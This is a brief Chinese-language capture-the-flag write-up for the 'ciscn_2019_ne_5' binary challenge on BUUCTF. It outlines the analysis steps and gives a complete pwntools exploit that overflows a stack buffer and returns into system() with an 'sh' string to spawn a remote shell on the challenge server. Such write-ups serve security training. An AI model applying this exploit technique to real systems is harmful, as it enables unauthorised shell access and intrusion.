共计 649 个字符,预计需要花费 2 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-30 10:40,文中所关联的信息可能已发生改变,请知悉!
checksec
IDA
- 先让
s1 == administrator
越过if
语句的检测 - 再选 1,写入 log,由于已经存在
system
函数,所以试图找到binsh
的地址,但是发现binsh
不存在,后来得知sh
也是可以用的 - 然后选 4,利用溢出得到
shell
EXP
from pwn import *
context.log_level = 'debug'
p = remote('node4.buuoj.cn', 26830)
elf = ELF('./ciscn_2019_ne_5')
sh_addr = 0x080482ea
main_addr = elf.sym['main']
sys_addr = elf.sym['system']
payload = flat(b'a' * (0x48 + 0x4) + p32(sys_addr) + p32(main_addr) + p32(sh_addr))
p.sendlineafter('password:', 'administrator')
p.sendlineafter('0.Exit\n:', '1')
p.sendlineafter('info:', payload)
p.sendlineafter('0.Exit\n:', '4')
p.interactive()
结果
正文完